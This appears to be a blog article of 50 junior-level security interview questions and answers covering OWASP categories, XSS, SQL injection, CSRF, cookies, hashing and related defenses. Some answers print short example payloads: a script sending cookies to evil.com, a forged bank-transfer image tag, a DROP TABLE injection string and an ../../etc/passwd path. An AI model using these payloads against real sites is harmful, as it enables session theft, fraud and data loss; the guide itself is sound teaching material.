Security Interview Prep — Junior Level (50 Questions)

How to Use This Guide

These are the security questions most commonly asked in junior developer interviews. For each question, understand the concept deeply enough to explain it in your own words — interviewers can tell when answers are memorized vs. genuinely understood. Where possible, link your answer to something you've implemented or seen.

Q1: What is the OWASP Top 10?

A: The OWASP Top 10 is a list published by the Open Web Application Security Project of the ten most critical web application security risks. It's updated periodically based on real-world vulnerability data. The 2021 list includes: Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable and Outdated Components, Identification and Authentication Failures, Software and Data Integrity Failures, Security Logging and Monitoring Failures, and Server-Side Request Forgery. It's widely used as a baseline for web security requirements.

Q2: What is the difference between authentication and authorization?

A: Authentication is proving who you are. Authorization is determining what you're allowed to do. You authenticate first (present credentials, get verified), then authorization decides what resources and actions you can access. Example: logging into a system is authentication; being allowed to access the admin panel (vs. just the user panel) is authorization. A common mistake is implementing authentication but missing authorization — users are logged in, but any logged-in user can access any resource.

Q3: What is HTTPS and why does it matter?

A: HTTPS is HTTP with TLS (Transport Layer Security) encryption. It provides three things: encryption (data in transit is unreadable to eavesdroppers), authentication (the server's identity is verified via certificate), and integrity (data cannot be modified in transit without detection). Without HTTPS, any network intermediary (ISP, café Wi-Fi, corporate proxy) can read passwords, session tokens, and sensitive data flowing between the user and server. HTTPS is mandatory for any application handling user data.

Q4: What is XSS (Cross-Site Scripting)?

A: XSS is an injection attack where an attacker injects malicious JavaScript into a web page that is then executed in another user's browser. Example: a comment field that stores <script>document.location='https://evil.com/?c='+document.cookie</script> — when other users view the page, their cookies are sent to the attacker. There are three types: stored (persisted in DB), reflected (injected via URL parameter, reflected in response), and DOM-based (client-side JavaScript manipulates the DOM insecurely).

Q5: How do you prevent XSS?

A: The main prevention is output encoding — when displaying user-supplied data in HTML, encode it so <script> becomes <script> and is rendered as text, not executed. Modern frameworks (React, Angular, Vue) do this automatically when you use their standard rendering. Never use innerHTML or dangerouslySetInnerHTML with untrusted data. Additionally: implement Content-Security-Policy (CSP) headers, which restrict what scripts can execute even if injection occurs, and use HttpOnly cookie flags so cookies can't be stolen by JavaScript even if XSS succeeds.

Q6: What is SQL injection?

A: SQL injection is when an attacker inserts SQL code into an input field, causing the application to execute unintended SQL queries. Classic example: login form with email = 'admin'--' — the -- comments out the password check, bypassing authentication. More destructive: email = ''; DROP TABLE Users;--'. SQL injection can result in data theft, data destruction, authentication bypass, and sometimes remote code execution.

Q7: How do you prevent SQL injection?

A: Use parameterized queries (also called prepared statements) — never build SQL strings by concatenating user input. With parameterized queries, user input is passed as a separate parameter and the database engine treats it as data, not SQL code. In .NET with Dapper: connection.Query("SELECT * FROM Users WHERE Email = @Email", new { Email = email }). ORMs like Entity Framework use parameterized queries automatically. Input validation is a secondary defense — never the primary one.

Q8: What is CSRF (Cross-Site Request Forgery)?

A: CSRF is an attack where a malicious website tricks a logged-in user's browser into making an unintended request to a legitimate site. Example: you're logged into your bank. You visit evil.com which has <img src="https://bank.com/transfer?to=attacker&amount=1000">. The browser sends that request with your bank session cookie — the bank sees an authenticated request and processes the transfer. CSRF exploits the fact that browsers automatically attach cookies to requests.

Q9: How do you prevent CSRF?

A: The main defenses are: CSRF tokens (a random value embedded in forms and verified server-side — the attacker can't read it from a cross-origin page), and SameSite cookie attribute. SameSite=Strict prevents cookies from being sent on any cross-origin request. SameSite=Lax (the default in modern browsers) blocks cookies on cross-origin POST requests. Modern SPAs using JWT in Authorization headers (not cookies) are not vulnerable to CSRF because the browser doesn't automatically attach the Authorization header.

Q10: What is a JWT?

A: JWT (JSON Web Token) is a compact, URL-safe token format used to represent claims between parties. A JWT has three parts separated by dots: header (algorithm and token type), payload (claims — user ID, roles, expiry), and signature. The signature is created using a secret key or private key — it proves the token hasn't been tampered with. JWTs are commonly used for authentication: after login, the server issues a JWT; the client sends it with every request in the Authorization header.

Q11: What is the difference between a hash and encryption?

A: Hashing is a one-way function — you cannot recover the original value from the hash. Given bcrypt("password123") → $2a$10$..., you cannot reverse it back to "password123". Hashing is used for passwords and data integrity. Encryption is two-way — data is encrypted with a key and can be decrypted with a key. Encryption is used for data that needs to be recovered: messages, files, database fields. For passwords: always hash (one-way), never encrypt (two-way, because if the key is compromised, all passwords are exposed).

Q12: Why shouldn't you use MD5 for passwords?

A: MD5 is a cryptographic hash but it's completely unsuitable for passwords for two reasons. First, it's extremely fast — attackers can compute billions of MD5 hashes per second using commodity hardware, making brute-force and dictionary attacks trivial. Second, MD5 has no salt — identical passwords produce identical hashes, enabling rainbow table attacks. Use bcrypt, Argon2, or PBKDF2 instead — they are designed to be slow (configurable work factor) and include a salt automatically.

Q13: What is a cookie? What are the important security flags?

A: A cookie is a small piece of data the server sends to the browser, which the browser stores and sends back with every subsequent request to that domain. Security flags: Secure — only sent over HTTPS; HttpOnly — not accessible via JavaScript (mitigates XSS token theft); SameSite=Strict/Lax — controls when the cookie is sent in cross-origin requests (mitigates CSRF); Domain — controls which subdomains receive the cookie; Max-Age/Expires — when the cookie expires.

Q14: What is the SameSite cookie attribute?

A: SameSite controls whether a cookie is sent when the request originates from a different site. Three values: Strict — cookie never sent on cross-origin requests (most secure, can break OAuth flows); Lax — cookie sent for top-level navigations (clicking a link) but not for sub-resource requests (images, API calls from JS) cross-origin — this is the modern browser default; None — cookie sent on all cross-origin requests, but only if the Secure flag is also set (required for HTTPS-only).

Q15: What is CORS?

A: CORS (Cross-Origin Resource Sharing) is a browser security mechanism that restricts JavaScript on one origin from reading responses from a different origin. A browser enforcing the same-origin policy will block fetch("https://api.otherdomain.com/data") from a page on app.mydomain.com unless api.otherdomain.com explicitly allows it via CORS headers. CORS is browser-enforced — server-to-server calls are not affected. The Access-Control-Allow-Origin response header tells the browser which origins are allowed.

Q16: Name three security headers and what they do.

A: Strict-Transport-Security (HSTS) — tells browsers to only connect to this domain via HTTPS, even if the user types HTTP. X-Content-Type-Options: nosniff — prevents browsers from MIME-sniffing responses (executing a JS file served as text/plain). Content-Security-Policy (CSP) — defines which sources of scripts, styles, images are allowed to load, significantly reducing XSS attack surface. Others worth mentioning: X-Frame-Options (prevent clickjacking), Referrer-Policy (limit referrer header leakage).

Q17: What is a firewall?

A: A firewall is a network security device (hardware or software) that monitors and controls incoming and outgoing network traffic based on configured rules. It acts as a barrier between trusted internal networks and untrusted external networks. Packet filtering firewalls work at the network layer (IP addresses and ports). Application firewalls (WAF — Web Application Firewall) work at the application layer, understanding HTTP and blocking malicious payloads.

Q18: What is a VPN?

A: A VPN (Virtual Private Network) creates an encrypted tunnel between a device and a VPN server, routing traffic through that server. Used for: securing traffic on untrusted networks (public Wi-Fi), accessing corporate resources remotely (corporate VPN), and privacy. Corporate VPNs authenticate users and give them access to internal networks. In security, VPNs are a perimeter security tool — once connected, users may have broad internal access, which is why Zero Trust is replacing VPN for many use cases.

Q19: What is 2FA/MFA?

A: Two-Factor Authentication (2FA) or Multi-Factor Authentication (MFA) requires users to prove their identity using two or more factors from different categories: something you know (password), something you have (phone, hardware token), something you are (biometric — fingerprint, face). Even if a password is stolen, an attacker without the second factor cannot log in. Common 2FA methods: SMS one-time codes (weakest — vulnerable to SIM swapping), authenticator apps (TOTP — Time-based One-Time Passwords, like Google Authenticator), hardware security keys (FIDO2/WebAuthn — strongest).

Q20: What is the principle of least privilege?

A: Every user, process, or system component should have only the minimum permissions required to perform its function — nothing more. A read-only reporting user should not have database write access. A microservice that reads from a queue should not have admin access to the entire messaging system. Least privilege limits blast radius: if an account is compromised, the attacker inherits only its limited permissions rather than broad access.

Q21: What is a data breach?

A: A data breach is an incident where unauthorized parties access, steal, or disclose sensitive data. Causes include: SQL injection, stolen credentials, misconfigured storage (publicly accessible S3 bucket), insider threats, and phishing. The impact depends on the data exposed — PII, financial data, and health records carry regulatory notification requirements. After a breach, organizations must typically notify affected individuals and regulators within a defined timeframe (72 hours under GDPR).

Q22: What is GDPR and why does it matter for developers?

A: GDPR (General Data Protection Regulation) is the EU's data privacy law, effective since 2018. It applies to any organization processing personal data of EU residents, regardless of where the organization is based. For developers: you must have a lawful basis to collect and process personal data; users have rights (access, erasure, portability); data must be protected with appropriate technical measures; breaches must be reported within 72 hours; data minimization — only collect what you need; consent must be explicit and withdrawable. Fines can reach 4% of global annual revenue.

Q23: What is a CVE?

A: CVE (Common Vulnerabilities and Exposures) is a standardized identifier for publicly known security vulnerabilities. Each CVE has a unique ID (e.g., CVE-2021-44228 for Log4Shell), a description, and a severity score (CVSS). The NVD (National Vulnerability Database) maintains the authoritative list. When a vulnerability is found in a library you use, it will typically have a CVE assigned. Dependency scanners use CVE IDs to report which of your dependencies have known vulnerabilities.

Q24: What is HTTPS certificate validation and what is a man-in-the-middle attack?

A: When your browser connects to https://bank.com, it receives a TLS certificate. The browser validates: the certificate is issued by a trusted Certificate Authority (CA), the domain matches, and the certificate hasn't expired or been revoked. A man-in-the-middle (MITM) attack intercepts this connection — an attacker sits between client and server, decrypting and re-encrypting traffic. Certificate validation prevents MITM: an attacker cannot present a valid certificate for bank.com unless they've compromised a CA or stolen the bank's private key.

Q25: What is a session and how is it secured?

A: A session is a server-side record of a user's authenticated state, identified by a session ID stored in a cookie. After login, the server creates a session, stores user state, and sends the session ID to the browser. On subsequent requests, the browser sends the session ID cookie, and the server looks up the session. Security: session IDs must be long and random (unguessable), the session cookie must have HttpOnly and Secure flags, sessions must expire after inactivity, and sessions must be invalidated on logout.

Q26: What is clickjacking?

A: Clickjacking tricks users into clicking on hidden elements from one website while they think they're clicking on a different site. Achieved by embedding the target site in a transparent <iframe> overlaid on a decoy site. Clicking "Win a Prize!" on the attacker's site actually clicks "Confirm Transfer" on the bank's invisible iframe. Prevention: X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none' prevent the page from being embedded in iframes on other origins.

Q27: What is an API key and how should it be stored?

A: An API key is a secret token used to authenticate requests to an API, typically from one service to another. API keys must be: stored as environment variables or in a secrets manager (never hardcoded in source code), transmitted via HTTPS only, treated as passwords (if leaked, rotate immediately), and scoped to minimum necessary permissions. On the server side, hash and store API keys (like passwords) — don't store the plaintext key. This way, even a database breach doesn't expose the keys.

Q28: What is input validation and why is it important?

A: Input validation is checking that data received from users or external systems conforms to expected format, type, length, and value constraints before processing it. It prevents a class of injection attacks (SQL, command, XSS) by ensuring malicious payloads are rejected before reaching sensitive operations. Validate on the server side — client-side validation improves UX but is bypassable. Validate both presence (required fields), type (number, not string), format (email regex), and length (max 100 characters).

Q29: What is the difference between symmetric and asymmetric encryption?

A: Symmetric encryption uses the same key to encrypt and decrypt. Fast, suitable for large amounts of data. Problem: how do you securely share the key? (AES is symmetric.) Asymmetric encryption uses a key pair: a public key (anyone can have it) to encrypt, and a private key (only the owner has it) to decrypt. Slower, but solves the key distribution problem. Used for TLS handshake (to establish a shared secret), digital signatures, and JWT RS256. In practice, TLS uses asymmetric encryption to exchange a symmetric session key, then uses symmetric encryption for the data.

Q30: What is a security token vs. a session cookie?

A: A session cookie stores a session ID that references server-side state. The server must look up the session on every request. Stateful — server must maintain session store. A security token (like JWT) is stateless — all identity information is encoded in the token itself. The server validates the token's signature without a database lookup. Tokens are better for distributed systems and APIs. Sessions are better for traditional web apps where server-side state is natural. The tradeoff: you cannot "revoke" a JWT before it expires (without a token blacklist).

Q31: What is a password manager and why should developers encourage its use?

A: A password manager stores and generates strong, unique passwords for every site. This prevents password reuse — the most common cause of credential stuffing attacks (attackers take credentials leaked from Site A and try them on Site B). Developers should: not restrict password length/complexity in ways that force users toward weak passwords, support long passwords (128+ chars), avoid forcing frequent password changes (NIST recommendation — change only on breach), and support MFA.

Q32: What is a brute force attack?

A: A brute force attack systematically tries all possible passwords or keys until the correct one is found. Against a simple 4-digit PIN (10,000 combinations), brute force is trivial. Against a strong password, it's computationally infeasible. Mitigations: account lockout after N failures, rate limiting on login endpoints, CAPTCHA, strong password requirements (long, complex passwords exponentially increase the search space), and MFA (password alone is insufficient even if guessed).

Q33: What is a dictionary attack?

A: A dictionary attack uses a precompiled list of common passwords, words, and known leaked passwords to attack authentication. Most users pick guessable passwords — "password123", "qwerty", names, dates. Attackers use lists of hundreds of millions of previously leaked passwords. Mitigation: check new passwords against known breached password lists (Have I Been Pwned API), enforce minimum complexity, use slow hash functions (bcrypt) to make dictionary attacks impractically slow.

Q34: What is phishing?

A: Phishing is a social engineering attack where attackers impersonate a trusted entity to trick users into revealing credentials, clicking malicious links, or downloading malware. Delivered via email, SMS (smishing), or voice calls (vishing). A phishing email mimics a bank, employer, or service, asking the user to "verify their account" via a link to a convincing fake site. Mitigation: MFA (phished passwords are insufficient without the second factor), security awareness training, DMARC/DKIM/SPF email authentication, and email filtering.

Q35: What is stored vs. reflected XSS?

A: Stored XSS (persistent): malicious script is saved to the database (e.g., in a comment), and executed every time a victim views that content. More dangerous — affects all users who view the content. Reflected XSS (non-persistent): malicious script is part of the request URL, reflected back in the response. Requires tricking the victim into clicking a crafted link. Example: https://site.com/search?q=<script>alert(1)</script>. The risk is lower because it requires the victim to visit the malicious URL.

Q36: What is Content Security Policy (CSP)?

A: CSP is an HTTP response header that tells browsers what resources are allowed to load on a page. Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com means: only load resources from the same origin, and scripts only from the same origin and a specific CDN. Even if an attacker injects <script src="https://evil.com/steal.js">, the browser refuses to load it. CSP is a defense-in-depth measure — it significantly reduces the impact of XSS but is not a substitute for output encoding.

Q37: What does OWASP recommend for authentication?

A: Key OWASP recommendations: use multi-factor authentication; don't limit password length or complexity in ways that harm security; implement account lockout or rate limiting on failed logins; use secure password hashing (bcrypt, Argon2); don't expose whether an email exists in error messages (use generic "invalid credentials" for both wrong email and wrong password); implement secure password reset (time-limited token, single use, sent to verified email); log all authentication events.

Q38: What is OWASP's Broken Access Control?

A: Broken Access Control is the #1 category in OWASP Top 10 2021. It covers failures where users can act outside their intended permissions. Examples: IDOR (accessing other users' data by modifying IDs), horizontal privilege escalation (User A accessing User B's data), vertical privilege escalation (regular user accessing admin functionality), CORS misconfiguration allowing unauthorized origins, force browsing to authenticated pages without auth. Prevention: deny by default (everything is forbidden unless explicitly permitted), implement resource-level authorization checks.

Q39: What is a rainbow table attack?

A: A rainbow table is a precomputed lookup table mapping hash values back to their source strings. If a database stores unsalted MD5 hashes, an attacker with the hash can look it up in a rainbow table and instantly find the password. Salting prevents this: a random salt is added to each password before hashing, making the hash unique even for identical passwords. The attacker cannot precompute rainbow tables for salted hashes because they don't know the salt in advance. bcrypt, Argon2, and PBKDF2 all include automatic salting.

Q40: What is the importance of using HTTPS for login forms?

A: Login forms submitted over plain HTTP expose credentials to anyone with network access — ISPs, café Wi-Fi operators, corporate proxies. An attacker on the same network can capture the username and password in plaintext. Additionally, without HTTPS, the login page itself can be modified in transit (injecting keyloggers, removing CSRF tokens). HTTPS ensures the connection is authenticated (user is talking to the real server), encrypted (credentials can't be read in transit), and tamper-proof.

Q41: What is directory traversal?

A: Directory traversal (path traversal) is an attack where an attacker manipulates file path inputs to access files outside the intended directory. Example: a file download endpoint GET /files?name=report.pdf — an attacker sends ?name=../../etc/passwd to read the Linux password file. Prevention: never use user-supplied input to construct file paths. Validate that the resolved path is within the allowed directory (canonicalize paths and check the prefix).

Q42: What is the principle of defense in depth?

A: Defense in depth means implementing multiple layers of security controls so that if one layer fails, others prevent compromise. Example: input validation is the first line of defense against SQL injection; parameterized queries are the second; least-privilege database accounts limit damage if injection succeeds; WAF rules add another layer. No single security control is perfect — layering multiple controls means an attacker must defeat all of them.

Q43: What is a security misconfiguration?

A: Security misconfiguration is when systems are left in an insecure default state, or poorly configured. OWASP ranks it #5 in 2021. Examples: default admin credentials not changed, debug mode enabled in production (exposes stack traces), unnecessary services/ports open, cloud storage bucket publicly readable, verbose error messages, missing security headers. Prevention: secure defaults in deployment configs, infrastructure as code (auditable config), automated security scanning of configurations.

Q44: What is sensitive data exposure?

A: Sensitive data exposure occurs when an application fails to protect data that it should keep confidential — health records, financial data, credentials, PII. Causes: transmitting data over HTTP instead of HTTPS, storing passwords with weak hashing, unencrypted database, sensitive data in logs, returning too much data in API responses. Prevention: identify which data is sensitive and apply appropriate controls — encryption at rest, HTTPS in transit, minimal data in logs, response field filtering.

Q45: What is OWASP Insecure Design?

A: Insecure Design (#4 in OWASP 2021) refers to security flaws baked into the architecture and design of an application — not just implementation bugs. A login page with no brute-force protection is an insecure design decision, not a coding error. Preventing a secure customer from downloading another customer's data requires architectural design, not just a code fix. Threat modeling during design, security requirements as part of user stories, and security review of architecture decisions are the preventions.

Q46: What is an injection attack?

A: Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query, causing unintended execution. SQL injection, command injection, LDAP injection, XPath injection, template injection — all are injection variants. The common thread: user-controlled data is mixed with a command/query without proper separation. Prevention: always use parameterized interfaces; never construct commands via string concatenation with user input; validate and sanitize all inputs.

Q47: What is the difference between authentication tokens and API keys?

A: Authentication tokens (like JWTs) represent a user identity with a defined expiry and claims. They are issued after login, short-lived, and carry context (user ID, roles). API keys represent a client application identity. They are long-lived, used for server-to-server communication, and don't expire regularly (but should be rotatable). API keys typically don't carry user context. Best practice: API keys for service-to-service, tokens for user-authenticated flows.

Q48: What is a penetration test?

A: A penetration test (pentest) is an authorized, simulated attack on a system to find exploitable vulnerabilities before real attackers do. A pentester actively tries to break in — exploiting vulnerabilities, chaining them together, demonstrating real impact. Distinct from vulnerability scanning (automated, finds known patterns). Pentests are typically scoped (specific systems, specific time window), require written authorization, and produce a report with findings, severity, and remediation guidance.

Q49: What is the HttpOnly cookie flag?

A: HttpOnly is a cookie attribute that prevents the cookie from being accessed via JavaScript (document.cookie). Even if an attacker achieves XSS and runs arbitrary JavaScript, they cannot steal HttpOnly cookies. This is critical for session cookies and authentication tokens stored in cookies. Note: HttpOnly doesn't prevent the browser from sending the cookie on requests — the browser still sends it automatically. It just prevents JavaScript from reading it.

Q50: If you find a security vulnerability in your production application, what do you do first?

A: Assess severity immediately — is it actively being exploited? Can you quickly determine the blast radius? If there's active exploitation or the vulnerability is critical (authentication bypass, mass data exposure), escalate immediately and consider taking the affected feature offline or deploying an emergency hotfix. If not actively exploited: document the finding privately (don't discuss in public channels), assess impact (what data/functionality is affected, could it have been exploited?), prioritize a fix based on severity, communicate with affected users if data may have been accessed (legal/compliance team should be involved). Never try to silently fix critical security issues without notifying appropriate stakeholders.

Security Interview Prep — Junior Level (50 Questions)

How to Use This Guide

Enjoyed this article?

Leave a comment